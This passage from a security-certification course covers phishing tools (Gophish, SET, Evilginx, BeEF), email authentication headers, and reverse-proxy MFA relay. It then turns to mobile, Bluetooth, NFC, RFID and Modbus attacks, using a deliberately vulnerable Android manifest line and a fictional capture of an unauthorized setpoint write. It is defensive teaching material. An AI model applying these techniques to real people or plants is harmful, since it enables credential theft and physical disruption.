Gophish (0.12.1, 2022; repository quiet since 2024)Run and measure email campaigns across groupsA per-recipient timeline: sent, opened, clicked, submitted, reported; CSV exportsAn X-Mailer header naming the server, an rid value in links, a tracking imageFilters, warnings, prompt reports
The exam's Social Engineering Toolkit, properly the Social-Engineer Toolkit (SET) (8.1.3)A menu-driven console for single demonstrations: spear-phishing, website, mass mailer and QR code vectors, among othersConsole output and per-run report files; no campaign dashboardMail from unfamiliar infrastructure; a cloned page on a new hostFilters, URL reputation; README limits it to consent-based testing
Evilginx (3.3.0, 2024; a paid Pro edition exists)Show that MFA codes can be relayed, with a proxy between browser and real siteCredentials and session cookies, which are live secrets; use test accounts and discard valuesA look-alike host, sign-ins from hosting addresses, one session used from two placesFIDO2 and WebAuthn; device-based access rules; no weak fallback
Browser Exploitation Framework (BeEF) (version 0.6, 2025)Assess what a browser exposes once it loads the tester's script, the "hook", from a page or a cross-site scripting flawA panel of hooked browsers, command modules and resultsA script from an odd host and repeated polling (defaults: port 3000, /hook.js, a BEEFHOOK cookie)Fix the injection flaw; web filtering; patched browsers

Choose by the question. "How does the whole company respond?" is Gophish. "Show me one believable path" can be SET. "Do our codes protect us?" is Evilginx, on accounts the client created for the test. "What can a page do to our browsers?" is BeEF, whose default credentials must be changed before use. The three OSINT tools come first and feed the plan, as in Lesson 6. Here is the shape of a campaign's event record; a real export holds names and addresses, which is why access is limited.

Fictional, abridged, recipient IDs pseudonymized
id     time      event             source
r-0417 09:02:13  Clicked Link      gateway address range, no cookie   (scanner: exclude)
r-0417 09:42:06  Clicked Link      office address
r-0417 09:42:31  Submitted Data    [fields not kept]
r-0733 09:11:27  Email Reported    via security mailbox
The BeEF web panel with a hooked browser at a private address listed on the left, a tree of command modules in the middle and a command's results on the right.
The BeEF control panel (a 2013 version)
Tim ( talk ) - CC0 - Wikimedia Commons

Reading a header: what SPF, DKIM and DMARC can and cannot say

Every email has two senders. The envelope sender travels in the Simple Mail Transfer Protocol (SMTP) MAIL FROM command and receives bounces; the From line is what people read.

Each server inserts a Received line at the top, so read those from the bottom up. Sender Policy Framework (SPF) checks whether the sending address may send for the MAIL FROM domain. DomainKeys Identified Mail (DKIM) verifies a signature made by the domain in its d= tag. DMARC, Domain-based Message Authentication, Reporting, and Conformance, ties them to what people see: SPF or DKIM must pass for a domain aligned with the From domain, either in the same organizational domain (relaxed) or identical (strict).

RFC 9989 replaced the older specification, RFC 7489, in May 2026.

Fictional header
Received: from mail.example.net (mail.example.net [203.0.113.25])
        by mx1.example.com; Tue, 10 Mar 2026 09:02:11 +0000
Authentication-Results: mx1.example.com;
        spf=pass smtp.mailfrom=example.net;
        dkim=pass header.d=example.net;
        dmarc=fail header.from=example.com
From: [display name removed] <it-notices@example.com>
Subject: [removed: template T-07]

SPF and DKIM passed, but for example.net, and the From line says example.com. Neither identifier aligns, so DMARC fails. What happens next depends on the policy example.com publishes: p=none expresses no preference, p=quarantine marks such mail as suspicious, and p=reject asks for refusal. If this reached an inbox under p=reject, you have a finding about the receiving gateway.

Second run, one input changed. Put example.net in the From line and every check passes: dmarc=pass header.from=example.net. Anyone can publish records for a domain they own, and RFC 9989 says DMARC does not address visually similar domains or display names. A pass tells you which domain stands behind a message, not whether to trust it.

A diagram in which mallory sends mail claiming MAIL FROM info@alice, and the receiver bob checks alice's published SPF record and finds a mismatch.
SPF catching a false MAIL FROM
Unknown author Unknown author - CC BY-SA 3.0 - Wikimedia Commons
A diagram of a signing mail server passing a signed message to the receiver's MX server, which asks a domain name server for the public key.
How DKIM is checked
Ale2006-from-en - CC BY-SA 3.0 - Wikimedia Commons
A DMARC record split into colored labeled parts: the version, a p=reject policy, two reporting addresses and a failure reporting option.
The parts of a DMARC record
Flowmailer - CC BY-SA 4.0 - Wikimedia Commons

Why a reverse proxy beats a code but not a security key

A reverse proxy phishing site relays everything between the user and the real sign-in page. Microsoft tracked this adversary-in-the-middle pattern against more than 10,000 organizations from September 2021. It stresses that the pattern is not a flaw in MFA: the real site issues a valid session cookie, and the proxy keeps a copy. Here is the same proxy with one input changed.

StepUser has an app or SMS codeUser has a security key or passkey
1. Second factor is requestedThe user types a code, which says nothing about which site askedThe browser asks the authenticator, passing the origin it can actually see
2. What crosses the proxyThe code, relayed in time to the real siteNothing usable: the credential is scoped to the real site, and any signature would name the wrong origin
3. OutcomeA valid session; the proxy holds its cookieNo session to steal

The difference is binding. WebAuthn, the standard under FIDO2, scopes a credential so only its relying party's origins can use it, and the relying party checks the origin in the signed client data. NIST SP 800-63B-4 defines phishing resistance as protection "without relying on the vigilance of the claimant", and rules out anything typed by hand. Note what that means for this dispute: the control that works asks nothing of human attention.

It has limits. In 2025 Proofpoint showed that a proxy can steer a login to a weaker fallback if the account still has one. It noted it had yet to see this in the wild. So the fix includes removing weak fallbacks. Microsoft also recommends device-based access rules, which limit what a stolen session can do. Defenders can see the pattern in sign-in logs:

Fictional sign-in log for a test account
09:14:02 staff-test-03 SSO  198.51.100.40 mfa=app-code success  (hosting provider, not a client site)
09:14:40 staff-test-03 Mail 203.0.113.77  mfa=session  success  (same session, new address, 38 seconds later)
09:15:03 staff-test-03 SSO  192.0.2.15    no session   prompted (the user's real office address)

Bottom line: the first two lines are the alert. One session used from two distant addresses within a minute is worth more to a defender than any click count.

A small blue USB security key with a gold contact printed with a key symbol, the kind of authenticator that binds a sign-in to the real site.
A FIDO security key
Bautsch - CC0 - Wikimedia Commons

The whole family at a glance

TechniqueWeakness it relies onToolsWhat defenders seeFix
Phishing (T1566)Attention at scaleGophish, SETFilter logs, reports, clicks to a new domainFilters, banners, a report button
SpearphishingPublic detail makes a message plausibleOSINT tools, GophishFew messages, so few signalsLess public detail; out-of-band checks
WhalingAuthority and payment powerAs spearphishingUnusual payment or data requestsTwo-person payment approval
Smishing (T1660)Phones hide links; no mail gatewayText gateway, by agreementUser reports, mobile protection alertsA report route for phones; bound MFA
Vishing (T1566.004)Live pressure; weak identity checksA telephoneReset tickets, MFA device changesCallback verification
Credential harvesting (T1598, T1539)Secrets typed on the wrong siteGophish, SET, EvilginxLook-alike host; odd sign-in sourcesWebAuthn; password managers; no fallback
Watering hole (T1189)Trust in a familiar site; unpatched browsersBeEF, on an owned pageScript from an odd host; exploit alertsPatching, browser isolation, web filtering
Impersonation (T1684.001)Requests accepted on a speaker's wordA pretext from OSINTRequests outside normal channelsOut-of-band verification
Dumpster divingWaste treated as worthlessGloves, cameraRarely anything; a camera at the binsCross-cut shredding, locked bins
SurveillanceRoutines visible from outsideNotes, cameraAlert guards, camerasBadges hidden off-site; patrols
Shoulder surfing; eavesdroppingScreens, keypads and work talk in public viewEyes and earsVery littlePrivacy filters; bound MFA; closed rooms
TailgatingPoliteness at doorsNoneDoor logs against camera countsAccess control vestibule; challenge culture

What the exam asks, and the pairs people confuse

Objective 4.8 begins "Given a scenario": expect a stem that describes a channel, target or tool behavior and asks for the name.

The stem saysIt points toDo not confuse it with
Only the CEO and CFO are targetedWhalingSpearphishing in general, of which it is a kind
A compromised site that the targets already visitWatering holePhishing, which delivers a message to them
Reads a PIN over a shoulder; overhears a callShoulder surfing; eavesdroppingSurveillance, which observes routines over time
Dashboard: sent, opened, clicked, reportedGophishSET, a menu of single demonstrations
Relays MFA and captures the session cookieEvilginxA cloned static page, which captures only what is typed
A browser is hooked and takes commandsBeEFEvilginx, which sits in the login path
Build a target list from public sourcestheHarvester, Recon-ngMaltego, chosen when the stem stresses a graph of relationships
SPF and DKIM pass, DMARC failsNeither passing domain aligns with FromA broken signature, which would show dkim=fail
What defeats a reverse proxy?Phishing-resistant MFA: FIDO2, WebAuthn, PKISMS or app codes, which can be relayed
Clicks fell, but the template changedNo evidence of learning without a control groupA proven training effect

How social engineering findings are reported

The finding names a control that failed, and never a person. Here is one for Alder Valley, which also asked you to test its single sign-on portal on five accounts created for the purpose.

  • Title: Reverse-proxy phishing defeats SMS and app-code MFA on the single sign-on portal.
  • Severity: High. A proxy obtained a valid session for all three test accounts using codes and none for the two using security keys, and the client's directory shows 1,050 of 1,200 staff use codes. It is not Critical because a user must reach the proxy and sign in.
  • Evidence: sign-in log entries for staff-test-01 to 05 with timestamps and source addresses; session values discarded; campaign counts by department, with no names.
  • Root cause: the authenticators in use do not bind their output to the site's origin, weak methods remain available, and no rule ties a session to a managed device.
  • Remediation: move administrators first, then all staff, to FIDO2 keys or passkeys; remove code fallback where those are in place; require managed devices for sensitive applications; alert on one session used from two addresses; retest on fresh test accounts.

Notice what is absent: "users need more training" as the remediation. Report click and report rates with the template's Phish Scale rating and any comparison group, and state in the limitations what the numbers cannot show.

Common misconceptions

  • "A falling click rate proves training works." Template difficulty alone can move results by many points. Without an untrained group, you cannot tell.
  • "Simulations are useless, so skip them." A campaign still measures filters, banners, reporting and response.
  • "MFA stops phishing." Codes can be relayed through a reverse proxy. Only origin-bound methods resist, and only if weak fallbacks are removed.
  • "DMARC pass means the email is safe." It says which domain stands behind the message. A look-alike domain can pass every check.

Putting it together

  • In a randomized trial of 19,789 healthcare employees over eight months, embedded training lowered failure by only 1.7 points, while lure choice moved it from 1.8 to 30.8 percent.
  • Steep falls in click rates come from studies with no untrained group; volunteers at 28 days (Kumaraguru, 2009) are the randomized exception.
  • Warnings and reports have better evidence: banners cut clicks by about two-thirds in Lain's trial, and reports began arriving within minutes.
  • An ethical engagement settles sponsor, HR and legal, off-limits themes, data, consequences and debrief in writing first, and records events rather than secrets.
  • Spearphishing is targeted, whaling targets executives, smishing uses SMS or MMS, vishing uses voice, and a watering hole compromises a site the targets already visit.
  • Gophish measures campaigns, SET runs single demonstrations, Evilginx relays logins through a reverse proxy, BeEF hooks browsers, and theHarvester, Recon-ng and Maltego feed the plan.
  • DMARC needs SPF or DKIM to pass for a domain aligned with the From line, and a pass does not make a look-alike domain honest.
  • WebAuthn binds a signature to the site's origin, so a reverse proxy gets nothing to relay; typed codes carry no such binding.

Sources

  1. Ho, G., Mirian, A., Luo, E., et al. (2025). Understanding the efficacy of phishing training in practice. IEEE Symposium on Security and Privacy. sysnet.ucsd.edu (PDF)
  2. Lain, D., Kostiainen, K., and Capkun, S. (2022). Phishing in organizations. IEEE Symposium on Security and Privacy. arxiv.org; Lain, D., Jost, T., Matetic, S., Kostiainen, K., and Capkun, S. (2024). Content, nudges and incentives. ACM CCS. arxiv.org
  3. Kumaraguru, P., Cranshaw, J., Acquisti, A., et al. (2009). School of phish. Symposium on Usable Privacy and Security. cups.cs.cmu.edu (PDF)
  4. Caputo, D. D., Pfleeger, S. L., Freeman, J. D., and Johnson, M. E. (2014). Going spear phishing. IEEE Security and Privacy, 12(1), 28-38. https://doi.org/10.1109/MSP.2013.106
  5. Gordon, W. J., Wright, A., Aiyagari, R., et al. (2019). Assessment of employee susceptibility to phishing attacks at US health care institutions. JAMA Network Open, 2(3), e190393. pmc.ncbi.nlm.nih.gov
  6. KnowBe4. (2026, July 7). 2026 phishing by industry benchmarking report (press release). knowbe4.com
  7. National Cyber Security Centre. (2024). Phishing attacks: Defending your organisation. ncsc.gov.uk
  8. Longhi, L. (2020, December 23). GoDaddy employees were told they were getting a holiday bonus. The Copper Courier. coppercourier.com
  9. National Institute of Standards and Technology: Dawkins, S., and Jacobs, J. (2023). NIST Phish Scale user guide (TN 2276). csrc.nist.gov; (2025). SP 800-63B-4, section 3.2.5. pages.nist.gov
  10. World Wide Web Consortium. (2026). Web Authentication, Level 3. w3.org
  11. Miron, Y. (2025, August 12). Don't phish-let me down: FIDO authentication downgrade. Proofpoint. proofpoint.com
  12. Cybersecurity and Infrastructure Security Agency. (2025, revised). Scattered Spider (AA23-320A). cisa.gov
  13. Microsoft. (2022). From cookie theft to BEC. microsoft.com; (2026). Configure the advanced delivery policy. learn.microsoft.com
  14. Herr, T., and Levine, J. (Eds.). (2026). DMARC (RFC 9989), sections 2.2 and 4.4. rfc-editor.org; Klensin, J. (2008). SMTP (RFC 5321), section 4.4. rfc-editor.org
  15. MITRE. (n.d.). ATT&CK: T1566, T1566.004, T1598, T1539, T1660 (mobile), T1189 and T1684.001.
  16. Tool documentation: Gophish; Social-Engineer Toolkit; Evilginx; BeEF; theHarvester, Recon-ng and Maltego as cited in Lesson 6.
  17. Legal texts: 18 U.S.C. 912 and 2511; California Penal Code 632; GDPR Article 5; Works Constitution Act, section 87
Key terms
Social engineering (security)
Manipulating people into giving up information or access, or taking an action, instead of attacking technology directly.
Phishing
Electronically delivered social engineering, broad or targeted, usually through links or attachments in messages.
Spear phishing
Phishing aimed at a chosen person, company or industry, tailored with details about the target; aimed at senior executives, it is called whaling.
Voice phishing
Social engineering over a phone call, known as vishing; ATT&CK lists it as Spearphishing Voice, T1566.004.
SMS phishing
Social engineering through text messages, known as smishing, which avoids the mail gateway and its checks.
Watering hole attack
Compromising a website a target community already visits and waiting for its members to arrive; ATT&CK files it under Drive-by Compromise, T1189.
Embedded training
Security training shown immediately to a person who fails a simulated phishing test, which randomized workplace trials find gives small or no benefit.
DMARC
Domain-based Message Authentication, Reporting, and Conformance: an email check that needs SPF or DKIM to pass for a domain aligned with the visible From domain.
Reverse proxy
A server that relays traffic to another server; a phishing kit built this way passes MFA challenges through and keeps a copy of the session cookie.
WebAuthn
The web standard for public-key sign-in, used by FIDO2 keys and passkeys, which scopes each credential to its site so that an impostor site cannot use it.

Phones, Radios, Factories, and Models: Attacks on Specialized Systems

  • Explain how mobile, short-range radio, industrial, vehicle and AI systems are attacked, by naming what each accepts without proof.
  • Interpret a decoded Modbus or CAN capture, and separate register manipulation, plaintext exposure and replay from normal traffic.
  • Explain what MobSF, Frida, Drozer, ADB, tcprelay, Bluestrike, Scapy, Wireshark and tcpdump are for, and choose among them.
  • Report a specialized-system finding with a severity, evidence, root cause and fix that fit the system.

Over 600 apartment buildings and a protocol that never asks who is speaking

In January 2024, during sub-zero temperatures, a municipal district energy company in Ukraine lost heating service to over 600 apartment buildings, and repairs took almost two days.[1] The security firm Dragos reports that attackers sent Modbus commands to controllers in Lviv, causing inaccurate measurements and malfunctions. It assesses with moderate confidence that the tool was FrostyGoop, aimed at port 502 open to the internet.[1] MITRE describes FrostyGoop as software that reads and writes holding registers, using legitimate Modbus commands.[2] Nothing had to be cracked. The 50-page Modbus specification never mentions authentication, passwords or encryption, so a controller has no way to ask who is speaking.[3]

Objective 4.9 groups four targets that look nothing alike: phones, short-range radios, industrial and vehicle networks, and artificial intelligence (AI) models. Each accepts something without proof, and an attacker can reach it. Learn that one fact per family and you can rebuild most of the objective from memory. This is also where Lesson 7's promise lands: how its four industrial protocols are attacked and defended.

Exam objectives: 4.9 (mobile attacks: information disclosure, jailbreak/rooting, permission abuse; AI attacks: prompt injection, model manipulation; operational technology (OT) attacks: register manipulation, Controller Area Network (CAN) bus, Modbus, plaintext, replay; near-field communication (NFC), bluejacking, radio-frequency identification (RFID), Bluetooth spamming; tools: Scapy, tcprelay, Wireshark/tcpdump, MobSF, Frida, Drozer, Android Debug Bridge, Bluestrike). The objective begins "Explain", so expect to define, recognize and compare, not perform.

The comparison: what each system accepts without proof

FamilyAccepts without proofWhen that is reachedExam termsWhat fixes it
PhonesThat the operating system's walls holdStored secrets are read; other apps borrow this app's powersInformation disclosure, jailbreak/rooting, permission abuseSecrets off the device; explicit permissions; server-side integrity checks
Short-range radiosThat being close means being allowedUnwanted messages, floods, cloned tags, relayed cardsBluejacking, Bluetooth spamming, NFC, RFIDCryptographic proof in place of presence
Industrial and vehicle networksThat anyone on the wire may speakValues are read, commands obeyed, something physical changesModbus, register manipulation, plaintext, replay, CAN busSegmentation now; authenticated protocols where supported
Language modelsThat everything in the context deserves attentionOutside text steers the model; tampered training changes it for goodPrompt injection, model manipulationLimit what the model can do; verify where it came from

Read it three ways. Down the second column, a phone at least has identities and walls, though a jailbreak removes them. Radios swap identity for distance, classic industrial protocols and CAN have no identity at all, and a language model has no boundary to check. Down the last column, an industrial command is a fixed format, so authentication can be added around it; a model's input has no such structure, so that row limits damage instead of closing the hole. Then consider consequence: a phone loses data, a plant can lose heat or pressure, and an assistant does whatever its tools allow.

The point: ask what a system accepts without proof. The answer names the attack, and the fix either supplies the missing proof or limits what an unproved message can do.

Extra rules for systems that can hurt someone

Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere.

Here a mistake can also move something physical: NIST SP 800-82 warns that active scanning can disrupt OT and recommends passive monitoring from SPAN ports or taps.[4] Radio reaches bystanders who agreed to nothing. Staff phones need their own line in the rules of engagement (ROE), and hosted models need an account, so read the provider's terms first.

So this lesson transmits nothing and touches no equipment. It has no frames you could send, no packet-crafting code and no working injection text: you read fictional decoded captures and write findings.

Phones: Android's sandbox and three ways around it

Android gives each app its own user ID and builds a kernel-level sandbox on it.[5] iOS walls apps off too. Each mobile attack on the exam is a way around that wall, or a reason it never mattered.

Information disclosure needs no break-in. A key sits hard-coded in the package, a token in a log, a secret in an unencrypted file or in traffic without TLS. OWASP's Mobile Top 10 for 2024 files these under M1 Improper Credential Usage, M5 Insecure Communication, M6 Inadequate Privacy Controls and M9 Insecure Data Storage.[6] It works because developers treat the phone as private, while anyone holding the package can unpack it. Your evidence is a file path and a redacted excerpt.

Rooting (Android) and iOS jailbreaking remove the operating system's limits; Apple says this bypasses security features.[5]

The term has two sides. Malware on a jailbroken phone can reach what the sandbox hid. For a tester it is a method: OWASP's testing guide recommends rooting a real test device, because it gives full control.[6] So "you rooted it, so it does not count" is backward: root is your viewpoint, and the finding is what the app exposed to it.

The defense lives on the server: Google's Play Integrity reports whether requests come from the genuine app on a genuine device, and Apple's App Attest does a similar job.[5]

Permission abuse has two forms. An app asks for more than it needs and uses the extra for something the user never expected. Or it holds a permission legitimately and exposes a component with no check, so another app borrows its power. That second form is a confused deputy, an idea that returns with models. Here is the setting a reviewer looks for, abridged from a fictional app.

<!-- Vulnerable: other apps can use this provider -->
<provider android:name=".NotesProvider" android:exported="true" />

<!-- Fixed: only this app's own user ID can reach it -->
<provider android:name=".NotesProvider" android:exported="false" />

Android's documentation backs both comments; a partner app that truly needs access gets read and write permissions set on the provider instead.[5] Drozer's attack-surface report sums up such facts for a whole app, in this format from its guide, with fictional values.[7]

Attack Surface:
  2 activities exported
  0 broadcast receivers exported
  1 content providers exported
  1 services exported
    is debuggable

Those are doors to try. An exported provider becomes a finding when you show what an app with no permissions can read through it.

TechniqueWeakness it relies onToolsWhat defenders seeFix
Information disclosureSecrets kept where the holder or another app can reach themMobSF, ADB, FridaLittle on the phone; later, leaked keys in server logsKeys on the server; platform keystore; clean logs; TLS
Jailbreak/rootingSecurity that depends on limits the holder can removeADB, Frida, tcprelay, on a test deviceFailed attestation; device-management alertsServer-side integrity checks; treat the client as untrusted
Permission abuseExcess permissions; exported components with no checkDrozer, MobSF, ADBOdd calls between apps; app-store review flagsFewest permissions; not exported, or a permission on it
An iPhone 3GS lying on a table with the Cydia home screen open, the third-party app store that appears on a jailbroken iPhone.
A jailbroken iPhone running Cydia
Kgw1226 - CC BY-SA 4.0 - Wikimedia Commons

MobSF, Frida, Drozer, ADB and tcprelay: five tools for one test phone

ToolPurpose and outputWhat it needsChoose it when
MobSF (Mobile Security Framework)Static analysis of APK, IPA and APPX packages and source; dynamic analysis of Android and iOS apps.[7] Gives a report of manifest, code and secrets findings.The package; an emulator or device for dynamic workYou want a first pass over any app (Lesson 11)
Android Debug Bridge (ADB)A client, a device daemon (adbd) and a server on your computer at TCP port 5037.[5] Gives a shell, logcat logs, file transfer, installs, port forwards.USB debugging on, and the computer's RSA key accepted on the phone.[5]You need to reach an Android device at all
FridaInjects JavaScript or a library into a running app.[7] Gives a live view of the calls and values you chose to watch.frida-server on the device, or frida-gadget embedded in the app.[7]The answer exists only at run time, such as what an app passes to its encryption routine
DrozerActs as an app against other apps' interprocess communication (IPC) endpoints.[7] Gives attack-surface counts, then what each exported component returns.An agent app on the device and a console on your computer.[7]The question is "what could another app make this one do?" Android only
tcprelayRelays a TCP port on an iPhone to your computer over USB.[8] Gives a local port and no report.usbmuxd and a cable; usually SSH on a jailbroken test iPhone.[6]You need a service on an iPhone with no Wi-Fi path

Two status notes. Reversec maintains Drozer, and its README labels the Python 3 rewrite a beta.[7] And tcprelay needs plain speaking: the objectives give only the name.[8] The best-documented match is tcprelay.py, a small script Hector Martin wrote in 2009 as a TCP relay for usbmuxd, the daemon that maps an iPhone's local ports to your computer.[8][6] It has left usbmuxd's current source tree, and OWASP's guide now lists iproxy for the job.[6] Unrelated projects share the name, so read a stem for context, and do not confuse it with Tcpreplay, which edits and replays saved captures.[8]

One trap: most phones run on ARM (Advanced RISC Machine, where RISC is reduced instruction set computer) processors, and whatever you push to a device must match. Frida's Android guide suggests an ARM or ARM64 emulator image and warns that x86 has had far less testing.[7]

Bluetooth, NFC and RFID: when being close counts as proof

Short range feels like a control, but nearby strangers exist and distance can be stretched. NIST describes bluejacking as sending unsolicited messages to a Bluetooth device: harmless in itself, though it may entice the user to respond or add the contact.[4] Bluesnarfing exploits a firmware flaw in older devices to reach stored data, and bluebugging exploits one to use the device's commands without telling the user.[4] Jacking pushes, snarfing pulls, bugging commands.

Bluetooth spamming has no definition in the objectives. It means bluejacking at scale, or floods of Bluetooth Low Energy advertisements, which devices broadcast before any pairing. In 2023 TechCrunch tested a researcher's demonstration. A Flipper Zero on altered firmware made nearby iPhones show pop-ups for AirTags and other devices that were not there. The test did not produce the full barrage the researcher described, which the report calls essentially a denial of service.[9]

A phone reacts before anything proves who sent the advertisement. Turning Bluetooth off in Control Center did not help; turning it fully off in Settings did.[9] Here is the tell in a fictional ten-second survey: one row is a neighbor, and the other is one transmitter in 123 costumes.

AdvertiserClaims to bePacketsSignal
123 short-lived addressesEarbuds, tags, TV boxes3 each-41 to -42 dBm
One steady addressFitness band12-67 dBm

Near-field communication typically needs 4 cm or less, and people treat that as security.[5] A relay breaks the assumption. In 2024 ESET reported NGate, Android malware aimed at clients of three Czech banks. It passed NFC data from a victim's payment card, through the victim's phone, to an attacker's rooted phone that emulated the card at an ATM.[9] The exchange proves the card is genuine, not that it is near, just as Ken Tindell writes of relayed car keys: "The car accepts the relayed message as valid because it is".[11]

Public NFC tags have a simpler problem: a tag is a stored link, so whoever replaces it chooses where phones go.

Radio-frequency identification reaches well past Lesson 13's door badges. NIST defines cloning as reading a tag and programming another to behave like it, with documented cases in vehicle immobilizers and payment tokens.[4] Its other examples are about business: a tag moved to an unrelated item, a warehouse that stalls when RFID fails, a reader that reveals which container holds expensive electronics.[4]

TechniqueWeakness it relies onToolsWhat defenders seeFix
BluejackingDiscoverable devices accept messages from strangersAny Bluetooth phone of the periodOdd contact promptsNon-discoverable mode; decline
Bluetooth spammingPhones act on unauthenticated advertisementsA programmable radio; Bluestrike to scanPop-up floods; many short-lived devices at one signal strengthLimits on prompts; Bluetooth fully off in hostile places
NFC relayThe exchange proves genuineness, not nearnessNFCGate in research; malware in the wild.[9]Withdrawals with the card elsewhere; new payment appsOfficial app sources; NFC off when unused; shielded card cases.[9]
RFID cloningA tag answers any reader with no cryptographic proofProxmark3 (Lesson 13)One identity in two places; stock counts that disagreeKey-based tags; back-end cross-checks; shielding

Bluestrike also gets plain speaking: the objectives only name it.[8] The match is StealthIQ's Bluestrike on GitHub, a small Python project. Its README calls it a tool for jamming Bluetooth signals, "in the making", that works on speakers but not AirPods, and its last code push was January 2024.[8]

It offers two things: scan for devices, and "kick" one. The code shows the kick relies on flooding a device with connection traffic, such as Bluetooth echo requests through Linux's l2ping, not on jamming the radio band.[8]

File it as Bluetooth enumeration plus denial of service. No manual or output format exists, so none is shown here, and a newer, unrelated project shares the name.

The screen of a Sony Ericsson K600i showing a received contact named 'Bluejacked!' and a prompt, in Norwegian, asking whether to add it to the contacts.
Bluejacking on an older phone
The original uploader was Kallemax at English Wikipedia . - Public domain - Wikimedia Commons
A small white handheld Flipper Zero device with an orange screen showing a radio scan and a direction pad on its right side.
Flipper Zero, a programmable radio tool
Turbospok - CC BY-SA 4.0 - Wikimedia Commons
A dark plastic NFC tag fixed to a white pole at a bus stop, labeled 'Tap phone here for real-time bus updates'.
A public NFC tag at a bus stop
John Robert McPherson - CC BY-SA 4.0 - Wikimedia Commons
A sewn-in garment label peeled open to reveal the foil antenna and tiny chip of a retail RFID tag.
An RFID tag inside a clothing label
Boevaya mashina - CC BY-SA 4.0 - Wikimedia Commons

Factories: how Modbus talks to a programmable logic controller

A programmable logic controller (PLC) reads sensors and drives outputs in a loop. A human-machine interface (HMI) shows operators the values and lets them set targets. SCADA (supervisory control and data acquisition) systems control dispersed assets across a site or region.[4] Modbus gives them four tables: discrete inputs (1 bit) and input registers (16 bits) are read-only, while coils (1 bit) and holding registers (16 bits) are read-write.[3]

Function codes say what to do: 1 Read Coils, 3 Read Holding Registers, 5 Write Single Coil, 6 Write Single Register, 15 Write Multiple Coils, 16 Write Multiple Registers, 43/14 Read Device Identification.[3] On TCP, a short header carries a Transaction Identifier, Protocol Identifier, Length and Unit Identifier. None names the sender, and the server just copies the Transaction Identifier back so the client can pair request and reply.[3]

  • A Modbus attack is any abuse of that openness, from asking a device its identity to mapping registers and sending writes.
  • Register manipulation is the write itself: changing a holding register or coil so the process does something else. ATT&CK calls the effect Modify Parameter (T0836) and the message Unauthorized Message: Command Message (T1692.001; the older ID T0855 redirects there).[2]
  • A plaintext attack sits under OT in the objectives, undefined.[8] Here it means exploiting unencrypted control traffic: anyone who can capture it reads every value and setpoint, and someone on the path can alter them. It is not cryptography's known-plaintext attack, which compares plaintext with ciphertext to attack a cipher. Classic Modbus has no cipher.
  • A replay attack records a valid message and sends it again, unchanged. It works when nothing proves freshness: no timestamp, counter or challenge. Replayed reports matter too, since operators can be shown old, healthy values; ATT&CK tracks spoofed telemetry as Reporting Message (T1692.002).[2]
A diagram of PLCs, HMIs, drives and input/output devices on a Modbus TCP/IP line, with gateways leading down to serial Modbus segments.
A Modbus network, from TCP/IP to serial
Modbus Organization - CC BY-SA 4.0 - Wikimedia Commons

Worked example: reading a decoded Modbus capture

A fictional water cooperative has authorized a passive assessment: capture only, from a SPAN port. You hold the asset list (192.0.2.10 HMI, 192.0.2.20 PLC, 192.0.2.30 engineering workstation) and the register map: holding register (HR) 40 is the tank's high-level setpoint, normally 72 percent, range 60-80. These addresses are reserved for documentation, and this is a decoded view, not raw frames.

No.  Time      Source      Destination  Trans  Function     Item      Value
101  09:14:02  192.0.2.10  192.0.2.20   3301   3 Read HR    HR 40-41  (query)
102  09:14:02  192.0.2.20  192.0.2.10   3301   3 Read HR    HR 40-41  72, 0
103  09:14:07  192.0.2.77  192.0.2.20   18     43/14 Ident  none      (query)
104  09:14:07  192.0.2.20  192.0.2.77   18     43/14 Ident  none      vendor, model, rev
105  09:14:31  192.0.2.77  192.0.2.20   19     3 Read HR    HR 0-60   (query)
106  09:14:31  192.0.2.20  192.0.2.77   19     3 Read HR    HR 0-60   [61 values]
107  09:15:12  192.0.2.77  192.0.2.20   20     6 Write HR   HR 40     95
108  09:15:12  192.0.2.20  192.0.2.77   20     6 Write HR   HR 40     95
109  09:15:14  192.0.2.10  192.0.2.20   3302   3 Read HR    HR 40-41  (query)
110  09:15:14  192.0.2.20  192.0.2.10   3302   3 Read HR    HR 40-41  95, 0
  1. Sort reads from writes. Functions 3 and 43/14 read; function 6 writes. In Wireshark, the display filter modbus.func_code == 6 leaves only frames 107 and 108.[8]
  2. Check who spoke. 192.0.2.77 is not on the asset list, and an address is the only identity on offer.
  3. Check whether it worked. Frame 108 repeats the request, which is what the specification says a successful Write Single Register returns.[3] Frame 110 confirms it: the HMI now reads 95, past the top of the range.
  4. Name each part. Frames 103-106 are Modbus reconnaissance: identity, then a register map. Frame 107 is register manipulation. You could read it all because the traffic is plaintext.
  5. Rule out replay. The value 95 appears nowhere earlier, and transaction 20 follows the host's own sequence. A replay would copy an earlier write, and nothing here would have stopped one.
  6. Decide. You sent none of this. A stranger writing an out-of-range setpoint on a live plant may be a safety event, so stop analyzing and use the ROE's escalation path now (Lesson 27).

Had the source been the engineering workstation with an approved change record, the frames would look identical. The protocol cannot tell you which is which; your asset list and change records can.

A second run: the same plant on port 802

Change one input. The PLC now speaks Modbus/TCP Security on port 802: X.509v3 certificates, mutual TLS authentication and roles carried in the certificates, with the Modbus header inside unchanged.[3] The same morning's capture now shows only TLS records, and 192.0.2.77's handshake ends in a fatal alert. Compare the answers.

QuestionPort 502Port 802
Can a capture show registers and values?YesNo, only encrypted records, addresses and timing
Can a stranger write?YesNo, the handshake fails without a valid certificate
Does a replayed copy work?YesNo, TLS numbers and authenticates its records
Can a compromised engineering workstation write?YesYes, if its role allows; authorization rules are product specific.[3]
Can a passive monitor read function codes?YesNo, so monitoring moves to the endpoints

The finding has flipped from "anyone can write" to "is certificate and role management sound?" Many fielded controllers cannot speak this, so NIST SP 800-82 offers layers:

  • OT firewalls whose parsers allow deep packet inspection of Modbus and DNP3
  • intrusion detection signatures for them
  • unidirectional gateways
  • PLC key switches left in run or remote mode with the key removed
  • separate safety instrumented systems[4]

Deep inspection is how a rule can allow a host's reads and refuse its writes.

DNP3, BACnet and MQTT: the other three ports from Lesson 7

Protocol, port, settingThe gapHow it is attackedHow it is defended
DNP3, 20000: power grids and other utilities.[10]Control messages cross potentially insecure channels.[10]Spoofed, altered or replayed commands where authentication is off; values read in transitSecure Authentication v5 (IEEE 1815-2012) addresses spoofing, modification and replay, and eavesdropping only on key exchanges.[10]
BACnet, 47808: building automationBACnet International names encryption as the key difference between BACnet/SC and BACnet/IP or MS/TP.[10]Device properties read; setpoints changed by anyone who can reach the segmentBACnet/SC uses WebSockets and TLS for peer authentication and encryption; segment the rest.[10]
